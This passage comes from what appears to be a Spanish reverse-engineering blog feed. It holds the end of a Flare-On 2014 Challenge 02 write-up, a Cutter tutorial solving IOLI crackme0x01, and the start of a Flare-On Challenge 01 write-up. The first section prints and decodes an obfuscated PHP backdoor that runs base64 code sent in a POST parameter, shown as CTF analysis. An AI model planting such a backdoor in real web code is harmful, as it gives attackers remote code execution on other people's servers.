style="color:#ae81ff">51</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">6</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">6</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">21</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">82</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">82</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">47</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>($i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; $i <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">count</span>($order); $i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  $do_me <span style="color:#f92672">=</span> $do_me<span style="color:#f92672">.</span>$terms[$order[$i]];
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">eval</span>($do_me); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Con $terms tenemos las palabras que estaremos utilizando, mientras que $order nos indica el orden en que se colocaran dichos caracteres. El ciclo for genera un nueva variable $do_me que contiene el texto que ejecutara eval().</p>
<p>Para esto podemos usar el mismo código y crear un archivo c1.php, solo que en lugar de correr eval, corremos print:</p>
<p><img src="/img/flareon2014-c2/do-me.png" alt="do_me"></p>
<p>Ok, la salida del comando es el siguiente código:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$_<span style="color:#f92672">=</span> <span style="color:#a6e22e">\</span><span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\</span><span style="color:#960050;background-color:#1e0010">&#39;</span>;
</span></span><span style="display:flex;"><span>$__<span style="color:#f92672">=</span><span style="color:#a6e22e">\</span><span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\</span><span style="color:#960050;background-color:#1e0010">&#39;</span>;
</span></span><span style="display:flex;"><span>$___<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">eval</span>($___($__));
</span></span></code></pre></div><p>En esta parte, tenemos 3 definiciones que después pasan por eval(), por lo que empecemos decodificar cada una de ellas:</p>
<pre><code>$_ = aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9
</code></pre>
<p>Esto parece base64, veamos si lo podemos decodificar:</p>
<p><img src="/img/flareon2014-c2/var1-base64-decode.png" alt="var1-base64-decode"></p>
<p>Ok, ahora tenemos las siguientes instrucciones:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">isset</span>( $_POST[<span style="color:#e6db74">&#34;\97</span><span style="color:#ae81ff">\4</span><span style="color:#e6db74">9</span><span style="color:#ae81ff">\4</span><span style="color:#e6db74">9</span><span style="color:#ae81ff">\6</span><span style="color:#e6db74">8</span><span style="color:#ae81ff">\x4F</span><span style="color:#e6db74">\84</span><span style="color:#ae81ff">\116\x68</span><span style="color:#e6db74">\97</span><span style="color:#ae81ff">\x74\x44\x4F\x54\x6A</span><span style="color:#e6db74">\97</span><span style="color:#ae81ff">\x76\x61\x35\x63\x72</span><span style="color:#e6db74">\97</span><span style="color:#ae81ff">\x70\x41</span><span style="color:#e6db74">\84</span><span style="color:#ae81ff">\x66\x6C</span><span style="color:#e6db74">\97</span><span style="color:#ae81ff">\x72\x65\x44\65\x53\72\111\110\6</span><span style="color:#e6db74">8</span><span style="color:#ae81ff">\7</span><span style="color:#e6db74">9\84\99</span><span style="color:#ae81ff">\x6F\x6D</span><span style="color:#e6db74">&#34;</span>]
</span></span><span style="display:flex;"><span>  )
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">eval</span>(
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">base64_decode</span>(
</span></span><span style="display:flex;"><span>      $_POST[<span style="color:#e6db74">&#34;\97</span><span style="color:#ae81ff">\4</span><span style="color:#e6db74">9</span><span style="color:#ae81ff">\x31\6</span><span style="color:#e6db74">8</span><span style="color:#ae81ff">\x4F\x54\116\104\x61\116\x44\7</span><span style="color:#e6db74">9</span><span style="color:#ae81ff">\x54\106</span><span style="color:#e6db74">\97</span><span style="color:#ae81ff">\11</span><span style="color:#e6db74">8\97</span><span style="color:#ae81ff">\53\x63\114\x61\x70\65</span><span style="color:#e6db74">\84</span><span style="color:#ae81ff">\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F</span><span style="color:#e6db74">\84\99</span><span style="color:#ae81ff">\x6F\x6D</span><span style="color:#e6db74">&#34;</span>]
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>  );
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Las variables $_POST contienen tanto datos en decimal como hexadecimal, por lo que debemos cambiar el encoding de cada una, para ello he escrito el siguiente programa en python que resuelve los dec y los hex:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># encoding: utf-8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re<span style="color:#f92672">,</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>line1<span style="color:#f92672">=</span><span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D&#39;</span>
</span></span><span style="display:flex;"><span>line2<span style="color:#f92672">=</span><span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">replace_dec</span>(<span style="color:#66d9ef">match</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> chr(int(<span style="color:#66d9ef">match</span><span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">replace_hex</span>(<span style="color:#66d9ef">match</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">match</span><span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)[<span style="color:#ae81ff">1</span>:]<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;hex&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>regex_dec <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">(\d{1,3})&#34;</span>)
</span></span><span style="display:flex;"><span>regex_hex <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">(x[0-9A-Fa-f]</span><span style="color:#e6db74">{2}</span><span style="color:#e6db74">)&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print regex_hex<span style="color:#f92672">.</span>sub(replace_hex, regex_dec<span style="color:#f92672">.</span>sub(replace_dec, line1))
</span></span><span style="display:flex;"><span>print regex_hex<span style="color:#f92672">.</span>sub(replace_hex, regex_dec<span style="color:#f92672">.</span>sub(replace_dec, line2))
</span></span></code></pre></div><p>Esto resuelve los encoding y nos devuelve los siguientes strings:</p>
<p><img src="/img/flareon2014-c2/decode-dec-and-hex.png" alt="decode dec and hex"></p>
<p>Si sustituimos DOT, AT y DASH en &ldquo;a11DOTthatDOTjava5crapATflareDASHonDOTcom&rdquo; tenemos &ldquo;<a href="mailto:a11.that.java5crap@flare-on.com">a11.that.java5crap@flare-on.com</a>&rdquo;, la cual conforma la flag del reto.</p>
<p><strong>flag: <a href="mailto:a11.that.java5crap@flare-on.com">a11.that.java5crap@flare-on.com</a></strong></p>
<hr>
<p>Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Crackme0x01</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x01/</link><pubDate>Tue, 23 Oct 2018 18:42:38 -0500</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x01/</guid><description>&lt;p&gt;En el crackme anterior, exploramos un poco mas sobre las propiedades de Cutter para analizar el código, pero como tal tomamos los apuntes basados en las instrucciones que observamos directamente del desensamblador. En esta entrada aprenderemos un poco mas sobre como usar el desensamblador y el grafo de brincos condicionales.&lt;/p&gt;</description><content type="html"><![CDATA[<p>En el crackme anterior, exploramos un poco mas sobre las propiedades de Cutter para analizar el código, pero como tal tomamos los apuntes basados en las instrucciones que observamos directamente del desensamblador. En esta entrada aprenderemos un poco mas sobre como usar el desensamblador y el grafo de brincos condicionales.</p>
<h2 id="footprint">Footprint</h2>
<p>Antes de llegar de lleno con el desensamblado del binario, analicemos si el siguiente crackme se parece al anterior. Comenzamos por un file:</p>
<p><img src="/img/cutter02/file.png" alt="File"></p>
<p>En la entrada anterior, nos limitamos a usar file y mirar de lleno en Cutter, en esta ocasión, usaremos adicionalmente readelf y ldd para mirar un poco mas sobre la información que de primera mano nos da file.</p>
<p><img src="/img/cutter02/ldd.png" alt="ldd"></p>
<p><img src="/img/cutter02/readelf-headers.png" alt="readelf-headers"></p>
<p>Tenemos, la dirección de entrada, la clase, el tipo, maquina y con ldd las bibliotecas importadas.</p>
<p>Ahora si, carguemos el archivo en Cutter, continuando con los valores por defecto y seleccionemos la pestaña de dashboard:</p>
<p><img src="/img/cutter02/dashboard.png" alt="Dashboard"></p>
<h2 id="entrypoints">Entrypoints</h2>
<p>Podemos observar que es bastante parecido al programa anterior que analizamos, miremos los entrypoints:</p>
<p><img src="/img/cutter02/entrypoint.png" alt="EntryPoints"></p>
<p>Si asociamos con la salida de readelf, observaremos la equivalencia.</p>
<h2 id="strings">Strings</h2>
<p>Respecto a los strings en este crackme, podemos ver que tiene una pinta parecida al del reto anterior, con la diferencia de que no aparece el string a comparar con el caso anterior, donde se asomaban los números:</p>
<p><img src="/img/cutter02/strings.png" alt="Strings"></p>
<h2 id="imports">Imports</h2>
<p>Respecto a los imports, observamos que es MUY parecido casi igual a lo que teníamos en el crackme anterior.</p>
<p><img src="/img/cutter02/imports.png" alt="Imports"></p>
<h2 id="functions">Functions</h2>
<p>Nuevamente entre este reto y el anterior, podemos ver que las funciones son muy parecidas, es decir, tenemos el entry0, main y 3 funciones que se importan de libc, entre ellas scanf y printf.</p>
<p><img src="/img/cutter02/functions.png" alt="Functions"></p>
<h2 id="disassembly">Disassembly</h2>
<p>Continuando el flujo del ejercicio anterior, revisemos main con el desensamblador:</p>
<p><img src="/img/cutter02/main.png" alt="main"></p>
<p>Como podemos observar por la parte de arriba, en donde se define el stack frame, radare2 nos trata de sugerir que en su análisis encuentra dos variables dentro de la función, una llamada local_4h y otra local_4h_2. local_4h, es un entero sin signo, el cual si pongo el mouse sobre el nombre de la variable en este comentario o header de la función, me indicara donde mas tenemos coincidencias:</p>
<p><img src="/img/cutter02/on-local_4h.png" alt="On-local_4h"></p>
<p>Vemos que del análisis algo llamativo:</p>
<pre tabindex="0"><code>; var unsigned int local_4h @ ebp-0x4
; var int local_4h_2 @ esp+0x4
</code></pre><p>Cada una variable se encuentra en ubicaciones particulares; una 4 menos el base pointer, y la otra 4 más del stack pointer. En el ejercicio anterior pasó algo igual.</p>
<p>Esto se debe a que una variable esta definida y la otra solo es un valor que se usa dentro de la función.</p>
<p>Ok, después de la definición del stack frame, continuamos con la primera y segunda llamada a printf, en donde de manera igual al ejercicio anterior se carga en el stack la dirección del string que usará printf.</p>
<p><img src="/img/cutter02/welcome.png" alt="Welcome"></p>
<p>El flujo de las instrucciones continua hasta la siguiente función &ldquo;scanf&rdquo;, la cual usa la dirección <strong>0x804854c</strong> para almacenar el tipo de dato entero. Pongamos nuevamente detalle en esta parte:</p>
<p><img src="/img/cutter02/scanf.png" alt="scanf"></p>
<p>La primera parte, &ldquo;lea EAX, [local_4h]&rdquo;, carga la dirección de memoria de la variable local_4h en EAX. Después en la siguiente instrucción, &ldquo;mov [local_4h_2], EAX&rdquo;, esta dirección ubicada en EAX, se escribe en [local_4h_2], es decir, en esp+0x4. Finalmente, antes de llamar a scanf, se ejecuta la instrucción &ldquo;MOV ESP, 0x804854c&rdquo;. Entonces scanf puede extraer del Stack, primero 0x804854c y después la dirección de local_4h. Si recordamos como usar la función de scanf, recordaremos que scanf recibe dos argumentos:</p>
<pre><code>scanf(&quot;%s&quot;, &amp;variable)
</code></pre>
<p>El primero se trata de un string en donde se define el tamaño y tipo de dato a almacenar, mientras que el segundo argumento se trata de la posición en memoria de la variable a insertar.</p>
<p>Ahora que hemos comprendido un poco mejor los argumentos que recibe scanf, podemos decir que local_4h se trata de una variable entera, mientras que local_4h_2 se trata del apuntador. Para hacer mas fácil la lectura de las instrucciones, renombraremos ambas variables, primero local_4h como &ldquo;numero&rdquo; y después local_4h_2 como *numero. Para ello damos click derecho sobre la variable y seleccionamos &ldquo;Rename &rsquo;local_4h&rsquo; (used here)&rdquo;:</p>
<p><img src="/img/cutter02/numero.png" alt="rename_local_4h"></p>
<p><img src="/img/cutter02/numero2.png" alt="rename_local_4h"></p>
<p><img src="/img/cutter02/numero3.png" alt="rename_local_4h"></p>
<p>Continuamos con el pointer:</p>
<p><img src="/img/cutter02/ptr-numero.png" alt="rename_local_4h_2"></p>
<p>Ya las instrucciones se ven mas legibles. Aunque continuamos con la duda del primer argumento de scanf, &ldquo;0x804854c&rdquo;.</p>
<p>Visitaremos esta dirección para entender mejor de que se trata. Para ello, tenemos dos opciones, podemos dar click derecho y copiar la dirección &ldquo;0x804854c&rdquo;, pegarla en la barra de búsqueda y dar enter o dar doble click sobre la dirección y Cutter nos llevara ahí:</p>
<p><img src="/img/cutter02/follow.png" alt="Follow"></p>
<p>Al llegar a esta sección, la sección de .rodata, veremos que dentro hay varios strings que se han utilizado por printf, tales como &ldquo;IOLI Crackme Level 0x01\n&rdquo; ó &ldquo;Password OK :)\n&rdquo;, pero en medio de ellos, se encuentra una instrucción &ldquo;and eax, 0x6e490064&rdquo;:</p>
<p><img src="/img/cutter02/rodata.png" alt="rodata"></p>
<p>Dice el dicho, &ldquo;Si camina como pato, grazna como pato y nada como pato, entonces es pato&rdquo;, aquí probaremos a convertir la instrucción que aparece a string, para ver si logramos visualizar el argumento tipo string que recibe scanf.</p>
<p>Procedemos a dar click derecho sobre la dirección de la instrucción, ponemos el cursor sobre &ldquo;set to data&rdquo; y seleccionamos &ldquo;&hellip;   *&rdquo;.</p>
<p><img src="/img/cutter02/convertodata.png" alt="Convert to Data"></p>
<p>Nos aparecerá una nueva ventana preguntando de que tamaño es y cuantos elementos tiene, seleccionamos que la longitud es de 3 y es un solo elemento:</p>
<p><img src="/img/cutter02/bytes.png" alt="bytes"></p>
<p>Ahora veremos que la presentación ha cambiando revelando el argumento, &ldquo;%d&rdquo;:</p>
<p><img src="/img/cutter02/decimal.png" alt="decimal"></p>
<p>Para analizar posteriormente o tener una referencia en cualquier otro punto, agregaremos una flag a esta dirección. Para ello damos click derecho y posteriormente &ldquo;Add flag&rdquo;, ahí seleccionaremos 3 como el tamaño y le pondremos de nombre &ldquo;d&rdquo;:</p>
<p><img src="/img/cutter02/flag1.png" alt="Add Flag"></p>
<p><img src="/img/cutter02/flag2.png" alt="Add Flag Name"></p>
<p>Seleccionaremos main de la ventana de funciones para regresar, dándole dos clicks. Al regresar, veremos la nueva referencia a ese flag que acabamos de marcar:</p>
<p><img src="/img/cutter02/main-flag.png" alt="main with flag"></p>
<p>Ahora sabemos que scanf recibe &ldquo;%d&rdquo; y &amp;numero como variables, por lo que continuamos con la siguiente parte:</p>
<p><img src="/img/cutter02/cmp1.png" alt="cmp"></p>
<p>Vemos que de manera similar a lo que teníamos en el reto anterior, se da una instrucción cmp entre la variable numero y el valor 0x149a. Como soy un poco torpe para convertir hexadecimal a decimal, cambiaremos la base de este dato a decimal. Para ello nos posicionamos sobre el valor y damos click derecho, ponemos el mouse sobre &ldquo;Set Immediate Base to&hellip;&rdquo; y seleccionamos &ldquo;Decimal&rdquo;:</p>
<p><img src="/img/cutter02/base10.png" alt="Decimal"></p>
<p>Ahora ya sabemos que numero se compara contra el valor 5274.</p>
<p>La siguiente instrucción evaluá si el valor de numero fue igual a 5274, siendo esto verdadero, brinca y se imprime &ldquo;Password OK(:&rdquo;, caso falso, continua y imprime &ldquo;Invalid Password!&rdquo;</p>
<p>Finalmente, se mueve 0 al acumulador y se retorna la función para ambos casos.</p>
<h2 id="grafico">Grafico</h2>
<p>Veamos como lucen las instrucciones en el grafo:</p>
<p><img src="/img/cutter02/graph.png" alt="Graph"></p>
<p>Muy similar al crackme anterior donde nada mas hay una &ldquo;evaluación luego brinco&rdquo;. Un mensaje bueno, un mensaje malo y solo una comparación.</p>
<h2 id="validación">Validación</h2>
<p>Hemos llegado a la parte final, donde validamos la conclusión a la que hemos realizado después del análisis estático, en la cual la contraseña que debemos ingresar en el crackme es 5274.</p>
<p>Validemos:</p>
<p><img src="/img/cutter02/validacion.png" alt="validacion"></p>
<p>Excelente! Hemos resuelto el segundo crackme de IOLI.</p>
<hr>
<p>Bueno eso ha sido todo de momento, espero que les haya gustado.
Saludos,</p>]]></content></item><item><title>Flare-on 2014 - Challenge 01: Bob Doge</title><link>https://www.xbyte.mx/posts/flareon2014_-_challenge01/</link><pubDate>Sun, 21 Oct 2018 20:25:36 -0500</pubDate><guid>https://www.xbyte.mx/posts/flareon2014_-_challenge01/</guid><description>&lt;p&gt;Iniciamos otra serie de writeups acerca de reversing, en este caso siguiendo todas las soluciones hasta el momento de todos los eventos de flare-on (ambicioso proyecto jeje), bueno iniciemos por el primer challenge del 2014, llamado simplemente Bob Doge.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Iniciamos otra serie de writeups acerca de reversing, en este caso siguiendo todas las soluciones hasta el momento de todos los eventos de flare-on (ambicioso proyecto jeje), bueno iniciemos por el primer challenge del 2014, llamado simplemente Bob Doge.</p>
<p>Comenzamos por descargar el <a href="http://www.flare-on.com/files/2014_FLAREOn_Challenges.zip">zip</a> que contiene todos los challenges, para posteriormente ir a cada challenge y resolverlos.</p>
<p>Bien, después de descargar el archivo general y descomprimirlo, debemos tener en nuestra carpeta un archivo llamando C1.exe, el cual posteriormente lo pasamos por file y nos indica vía headers que se trata de un &lsquo;PE32+ ejecutable con GUI x86_64&rsquo;, por lo que probamos a ejecutarlo en un sandbox, ahí veremos que se trata de Microsoft Cabinet, que nos hace aceptar un EULA de Fireeye, por lo que extraemos su contenido usando cabextract:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014$ cabextract C1.exe
</span></span><span style="display:flex;"><span>Extracting cabinet: C1.exe
</span></span><span style="display:flex;"><span>  extracting Challenge1.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>All done, no errors.
</span></span></code></pre></div><p>Nos despliega en pantalla que ha extraído correctamente &ldquo;Challenge1.exe&rdquo;, el cual nuevamente lo pasamos por file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014$ file Challenge1.exe
</span></span><span style="display:flex;"><span>Challenge1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
</span></span></code></pre></div><p>El comando file nos indica que se trata de un PE32 escrito en Mono/.Net, lo cual nos hace un guiño a que podemos decompilarlo usando alguna herramienta que entienda .Net, en mi caso use dnSpy:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014$ mono ~/tools/dnSpy/dnSpy.Console.exe -o challenge01 Challenge1.exe
</span></span><span style="display:flex;"><span>ERROR: File creation failed (/home/xbytemx/flare-on2014/challenge01/XXXXXXXXXXXXXXX/rev_challenge_1/Form1.resx), description = Create ResX file, Exception message: Object reference not set to an instance of an object
</span></span></code></pre></div><p>Tras descompilar el binario, depositamos su contenido en la carpeta challenge01, la cual tiene la siguiente estructura:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014/challenge01$ ls -lahR
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 xbytemx xbytemx 4.0K oct 21 21:15 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 xbytemx xbytemx 4.0K oct 21 21:15 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  935 oct 21 21:15 solution.sln
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 xbytemx xbytemx 4.0K oct 21 21:15 XXXXXXXXXXXXXXX
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./XXXXXXXXXXXXXXX:
</span></span><span style="display:flex;"><span>total 40K
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 xbytemx xbytemx 4.0K oct 21 21:15 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 xbytemx xbytemx 4.0K oct 21 21:15 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  490 oct 21 21:15 app.manifest
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx 1018 oct 21 21:15 Form1.cs
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx 2.9K oct 21 21:15 Form1.Designer.cs
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  390 oct 21 21:15 Program.cs
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 xbytemx xbytemx 4.0K oct 21 21:15 Properties
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 xbytemx xbytemx 4.0K oct 21 21:15 rev_challenge_1
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx   31 oct 21 21:15 rev_challenge_1.dat_secret.encode
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx 3.3K oct 21 21:15 XXXXXXXXXXXXXXX.csproj
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./XXXXXXXXXXXXXXX/Properties:
</span></span><span style="display:flex;"><span>total 100K
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 xbytemx xbytemx 4.0K oct 21 21:15 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 xbytemx xbytemx 4.0K oct 21 21:15 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  810 oct 21 21:15 AssemblyInfo.cs
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx 2.7K oct 21 21:15 rev_challenge_1.Properties.Resources.Designer.cs
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  76K oct 21 21:15 rev_challenge_1.Properties.Resources.resx
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  717 oct 21 21:15 Settings.Designer.cs
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 xbytemx xbytemx  279 oct 21 21:15 Settings.settings
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./XXXXXXXXXXXXXXX/rev_challenge_1:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 xbytemx xbytemx 4.0K oct 21 21:15 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 xbytemx xbytemx 4.0K oct 21 21:15 ..
</span></span></code></pre></div><p>En la carpeta raíz, encontraremos el archivo <em>solution</em> del proyecto &ldquo;XXXXXXXXXXXXXXX&rdquo;, dentro de la siguiente carpeta &ldquo;XXXXXXXXXXXXXXX&rdquo; encontramos varios archivos:</p>
<table>
  <thead>
      <tr>
          <th>Archivo</th>
          <th>Tipo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>app.manifest</td>
          <td>XML</td>
      </tr>
      <tr>
          <td>Form1.cs</td>
          <td>C++ source</td>
      </tr>
      <tr>
          <td>Form1.Designer.cs</td>
          <td>C++ source</td>
      </tr>
      <tr>
          <td>Program.cs</td>
          <td>C++ source</td>
      </tr>
      <tr>
          <td>Properties</td>
          <td>Directory</td>
      </tr>
      <tr>
          <td>rev_challenge_1.dat_secret.encode</td>
          <td>data</td>
      </tr>
      <tr>
          <td>rev_challenge_1</td>
          <td>Directory</td>
      </tr>
      <tr>
          <td>XXXXXXXXXXXXXXX.csproj</td>
          <td>XML</td>
      </tr>
  </tbody>
</table>
<p>Comenzamos por revisar el archivo Program.cs, el cual tiene el siguiente contenido:</p>
